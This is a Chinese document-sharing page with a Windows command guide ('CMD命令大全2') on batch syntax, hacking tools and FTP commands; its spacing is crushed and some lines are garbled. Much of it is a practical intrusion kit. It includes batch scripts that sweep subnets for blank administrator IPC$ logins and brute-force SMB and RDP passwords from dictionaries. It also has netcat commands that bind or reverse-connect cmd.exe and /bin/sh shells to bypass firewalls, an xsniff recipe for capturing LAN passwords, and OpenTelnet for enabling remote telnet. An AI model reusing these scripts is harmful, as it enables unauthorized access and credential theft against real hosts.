CMD命令大全2.docx

上传人:b****6 文档编号:9102207 上传时间:2023-02-03 格式:DOCX 页数:13 大小:25.44KB
下载 相关 举报
CMD命令大全2.docx_第1页
第1页 / 共13页
CMD命令大全2.docx_第2页
第2页 / 共13页
CMD命令大全2.docx_第3页
第3页 / 共13页
CMD命令大全2.docx_第4页
第4页 / 共13页
CMD命令大全2.docx_第5页
第5页 / 共13页
点击查看更多>>
下载资源
资源描述

CMD命令大全2.docx

《CMD命令大全2.docx》由会员分享,可在线阅读,更多相关《CMD命令大全2.docx(13页珍藏版)》请在冰豆网上搜索。

CMD命令大全2.docx

CMD命令大全2

附:

批处理命令与变量

1:

for命令及变量基本格式:

FOR/参数%variableIN(set)DOcommand[command_parameters]%variable:

指定一个单一字母可替换的参数,如:

%i,而指定一个变量则用:

%%i,而调用变量时用:

%i%,变量是区分大小写的(%i不等于%I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:

%2—%9指输入的第2-9个值;例:

netuse\\ip\ipc$pass/user:

user中ip为%1,pass为%2,user为%3

(set):

指定一个或一组文件,可使用通配符,如:

(D:

\user.txt)和(11254)(1-1254),{“(11254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:

从1到254;“(1-1254)”说明:

即从254到1}

command:

指定对第个文件执行的命令,如:

netuse命令;如要执行多个命令时,命令这间加:

&来隔开

command_parameters:

为特定命令指定参数或命令行开关

IN(set):

指在(set)中取值;DOcommand:

指执行command

参数:

/L指用增量形式{(set)为增量形式时};/F指从文件中不断取值,直到取完为止{(set)为文件时,如(d:

\pass.txt)时}。

用法举例:

@echooff

echo用法格式:

test.bat*.*.*>test.txt

for/L%%Gin(11254)doecho%1.%%G>>test.txt&netuse\\%1.%%G/user:

***istrator|find"命令成功完成">>test.txt

存为test.bat说明:

对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:

*.*.*为批处理默认的%1;%%G为变量(ip的最后一位);&用来隔开echo和netuse这二个命令;|指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G为完整的IP地址;(11254)指起始值,增长量,结止值。

@echooff

echo用法格式:

ok.batip

FOR/F%%iIN(D:

\user.dic)DOsmb.exe%1%%iD:

\pass.dic200

存为:

ok.exe说明:

输入一个IP后,用字典文件d:

\pass.dic来暴解d:

\user.dic中的用户密码,直到文件中值取完为止。

%%i为用户名;%1为输入的IP地址(默认)。

2:

if命令及变量基本格式:

IF[not]errorlevel数字命令语句如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:

IFerrorlevel0命令指程序执行后返回的值为0时,就值行后面的命令;IFnoterrorlevel1命令指程序执行最后返回的值不等于1,就执行后面的命令。

0指发现并成功执行(真);1指没有发现、没执行(假)。

IF[not]字符串1==字符串2命令语句如果指定的文本字符串匹配(即:

字符串1等于字符串2),就执行后面的命令。

例:

“if"%2%"=="4"gotostart”指:

如果输入的第二个变量为4时,执行后面的命令(注意:

调用变量时就%变量名%并加"")

IF[not]exist文件名命令语句如果指定的文件名存在,就执行后面的命令。

例:

“ifnotnc.exegotoend”指:

如果没有发现nc.exe文件就跳到":

end"标签处。

IF[not]errorlevel数字命令语句else命令语句或IF[not]字符串1==字符串2命令语句else命令语句或IF[not]exist文件名命令语句else命令语句加上:

else命令语句后指:

当前面的条件不成立时,就指行else后面的命令。

注意:

else必须与if在同一行才有效。

当有del命令时需把del命令全部内容用<>括起来,因为del命令要单独一行时才能执行,用上<>后就等于是单独一行了;例如:

“ifexisttest.txt.<deltest.txt.>elseechotest.txt.missing”,注意命令中的“.”

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:

nc.exe

参数说明:

-h查看帮助信息

-d后台模式

-eprog程序重定向,一但连接就执行〔危险〕

-isecs延时的间隔

-l监听模式,用于入站连接

-L监听模式,连接天闭后仍然继续监听,直到CTR+C

-nIP地址,不能用域名

-ofilm记录16进制的传输

-p[空格]端口本地端口号

-r随机本地及远程端口

-t使用Telnet交互方式

-uUDP模式

-v详细输出,用-vv将更详细

-w数字timeout延时间隔

-z将输入,输出关掉(用于扫锚时)

基本用法:

nc-nvv192.168.0.180连接到192.168.0.1主机的80端口

nc-l-p80开启本机的TCP80端口并监听

nc-nvv-w2-z192.168.0.180-1024扫锚192.168.0.1的80-1024端口

nc-l-p5354-t-ec:

winntsystem32cmd.exe绑定remote主机的cmdshell在remote的TCP5354端口

nc-t-ec:

winntsystem32cmd.exe192.168.0.25354梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法:

nc-L-p80作为蜜罐用1:

开启并不停地监听80端口,直到CTR+C为止

nc-L-p80>c:

\log.txt作为蜜罐用2:

开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:

\log.txt

nc-L-p80<c:

\honeyport.txt作为蜜罐用3-1:

开启并不停地监听80端口,直到CTR+C,并把c:

\honeyport.txt中内容送入管道中,亦可起到传送文件作用

type.exec:

\honeyport|nc-L-p80作为蜜罐用3-2:

开启并不停地监听80端口,直到CTR+C,并把c:

\honeyport.txt中内容送入管道中,亦可起到传送文件作用

本机上用:

nc-l-p本机端口

在对方主机上用:

nc-ecmd.exe本机IP-p本机端口*win2K

nc-e/bin/sh本机IP-p本机端口*linux,unix反向连接突破对方主机的防火墙

本机上用:

nc-d-l-p本机端口<要传送的文件路径及名称

在对方主机上用:

nc-vv本机IP本机端口>存放文件的路径及名称传送文件到对方主机

备注:

|管道命令

<或>重定向命令。

“<”,例如:

tlntadmn<test.txt指把test.txt的内容赋值给tlntadmn命令

@表示执行@后面的命令,但不会显示出来(后台执行);例:

@dirc:

\winnt>>d:

\log.txt意思是:

后台执行dir,并把结果存在d:

\log.txt中

>与>>的区别 ">"指:

覆盖;">>"指:

保存到(添加到)。

如:

@dirc:

\winnt>>d:

\log.txt和@dirc:

\winnt>d:

\log.txt二个命令分别执行二次比较看:

用>>的则是把二次的结果都保存了,而用:

>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

2、扫锚工具:

xscan.exe

基本格式

xscan-host<起始IP>[-<终止IP>]<检测项目>[其他选项]扫锚"起始IP到终止IP"段的所有主机信息

xscan-file<主机列表文件名><检测项目>[其他选项]扫锚"主机IP列表文件名"中的所有主机信息

检测项目

-active检测主机是否存活

-os检测远程操作系统类型(通过NETBIOS和SNMP协议)

-port检测常用服务的端口状态

-ftp检测FTP弱口令

-pub检测FTP服务匿名用户写权限

-pop3检测POP3-Server弱口令

-smtp检测SMTP-Server漏洞

-sql检测SQL-Server弱口令

-smb检测NT-Server弱口令

-iis检测IIS编码/解码漏洞

-cgi检测CGI漏洞

-nasl加载Nessus攻击脚本

-all检测以上所有项目

其它选项

-i适配器编号设置网络适配器,<适配器编号>可通过"-l"参数获取

-l显示所有网络适配器

-v显示详细扫描进度

-p跳过没有响应的主机

-o跳过没有检测到开放端口的主机

 -t并发线程数量,并发主机数量指定最大并发线程数量和并发主机数量,默认数量为100,10

-log文件名指定扫描报告文件名(后缀为:

TXT或HTML格式的文件)

用法示例

xscan-host192.168.1.1-192.168.255.255-all-active-p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机

xscan-host192.168.1.1-192.168.255.255-port-smb-t150-o检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机

xscan-filehostlist.txt-port-cgi-t200,5-v-o检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

命令行方式嗅探器:

xsniff.exe

可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

参数说明

-tcp输出TCP数据报

-udp输出UDP数据报

-icmp输出ICMP数据报

-pass过滤密码信息

-hide后台运行

-host解析主机名

-addrIP地址过滤IP地址

-port端口过滤端口

-log文件名将输出保存到文件

-asc以ASCII形式输出

-hex以16进制形式输出

用法示例

xsniff.exe-pass-hide-logpass.log后台运行嗅探密码并将密码信息保存在pass.log文件中

xsniff.exe-tcp-udp-asc-addr192.168.1.1嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解:

tscrack.exe

参数说明

-h显示使用帮助

-v显示版本信息

-s在屏幕上打出解密能力

-b密码错误时发出的声音

-t同是发出多个连接(多线程)

-NPreventSystemLogentriesontargetedserver

-U卸载移除tscrack组件

-f使用-f后面的密码

-F间隔时间(频率)

-l使用-l后面的用户名

-w使用-w后面的密码字典

-p使用-p后面的密码

-D登录主页面

用法示例

tscrack192.168.0.1-l***istrator-wpass.dic远程用密码字典文件暴破主机的***istrator的登陆密码

tscrack192.168.0.1-l***istrator-p123456用密码123456远程登陆192.168.0.1的***istrator用户

@ifnotexistipcscan.txtgotonoscan

@for/f"tokens=1delims="%%iin(3389.txt)docallhack.bat%%i

nscan

@echo3389.txtnofindorscanfaild

(①存为3389.bat)(假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)

3389.bat意思是:

从3389.txt文件中取一个IP,接着运行hack.bat

@ifnotexisttscrack.exegotonoscan

@tscrack%1-l***istrator-wpass.dic>>rouji.txt

:

noscan

@echotscrack.exenofindorscanfaild

(②存为hack.bat)(运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)

hack.bat意思是:

运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe

Shutdown\\IP地址t:

2020秒后将对方NT自动关闭(Windows2003系统自带工具,在Windows2000下用进就得下载此工具才能用。

在前面Windows2003DOS命令中有详细介绍。

fpipe.exe(TCP端口重定向工具)在第二篇中有详细说明(端口重定向绕过防火墙)

fpipe-l80-s1029-r80当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息

Fpipe-l23-s88-r23目标IP把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。

(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:

直接Telnet127.0.0.1(本机IP)就连接到目标IP的23端口了。

OpenTelnet.exe(远程开启telnet工具)

opentelnet.exe\\IP帐号 密码 ntlm认证方式 Telnet端口(不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet\\ip连接上对方。

NTLM认证方式:

0:

不使用NTLM身份验证;1:

先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:

只使用NTLM身份验证。

ResumeTelnet.exe(OpenTelnet附带的另一个工具)

resumetelnet.exe\\IP 帐号 密码用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。

如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:

ftp-v-d-i-n-g[主机名],其中

-v显示远程服务器的所有响应信息;

-n限制ftp的自动登录,即不使用;.netrc文件;

-d使用调试方式;

-g取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.!

[cmd[args]]:

在本地机中执行交互shell,exit回到ftp环境,如:

!

ls*.zip

2.$macro-ame[args]:

执行宏定义macro-name。

3.account[password]:

提供登录远程系统成功后访问系统资源所需的补充口令。

4.appendlocal-file[remote-file]:

将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:

使用ascii类型传输方式。

6.bell:

每个命令执行完毕后计算机响铃一次。

7.bin:

使用二进制文件传输方式。

8.bye:

退出ftp会话过程。

9.case:

在使用mget时,将远程主机文件名中的大写转为小写字母。

10.cdremote-dir:

进入远程主机目录。

11.cdup:

进入远程主机目录的父目录。

12.chmodmodefile-name:

将远程主机文件file-name的存取方式设置为mode,如:

chmod777a.out。

13.close:

中断与远程服务器的ftp会话(与open对应)。

14.cr:

使用asscii方式传输文件时,将回车换行转换为回行。

15.deleteremote-file:

删除远程主机文件。

16.debug[debug-value]:

设置调试方式,显示发送至远程主机的每条命令,如:

debup3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:

显示远程主机目录,并将结果存入本地文件。

18.disconnection:

同close。

19.formformat:

将文件传输方式设置为format,缺省为file方式。

20.getremote-file[local-file]:

将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:

设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。

22.hash:

每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:

显示ftp内部命令cmd的帮助信息,如:

helpget。

24.idle[seconds]:

将远程服务器的休眠计时器设为[seconds]秒。

25.image:

设置二进制传输方式(同binary)。

26.lcd[dir]:

将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:

显示远程目录remote-dir,并存入本地文件local-file。

28.macdefmacro-name:

定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:

删除远程主机文件。

30.mdirremote-fileslocal-file:

与dir类似,但可指定多个远程文件,如:

mdir*.o.*.zipoutfile。

31.mgetremote-files:

传输多个远程文件。

32.mkdirdir-name:

在远程主机中建一目录。

33.mlsremote-filelocal-file:

同nlist,但可指定多个文件名。

34.mode[modename]:

将文件传输方式设置为modename,缺省为stream方式。

35.modtimefile-name:

显示远程主机文件的最后修改时间。

36.mputlocal-file:

将多个文件传输至远程主机。

37.newerfile-name:

如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote-dir][local-file]:

显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpatternoutpattern]:

设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如:

nmap$1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。

该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars]]:

设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.openhost[port]:

建立指定ftp服务器连接,可指定连接端口。

42.passive:

进入被动传输方式。

43.prompt:

设置多个文件传输时的交互提示。

44.proxyftp-cmd:

在次要控制连接中,执行一条ftp命令,该命令允许连接两个ftp服务器,以在两个服务器间传输文件。

第一条ftp命令必须为open,以首先建立两个服务器间的连接。

45.putlocal-file[remote-file]:

将本地文件local-file传送至远程主机。

46.pwd:

显示远程主机的当前工作目录。

47.quit:

同bye,退出ftp会话。

48.quotearg1,arg2...:

将参数逐字发至远程ftp服务器,如:

quotesyst.

49.recvremote-file[local-file]:

同get。

50.regetremote-file[local-file]:

类似于get,但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:

请求获得远程主机的帮助。

52.rstatus[file-name]:

若未

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 医学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1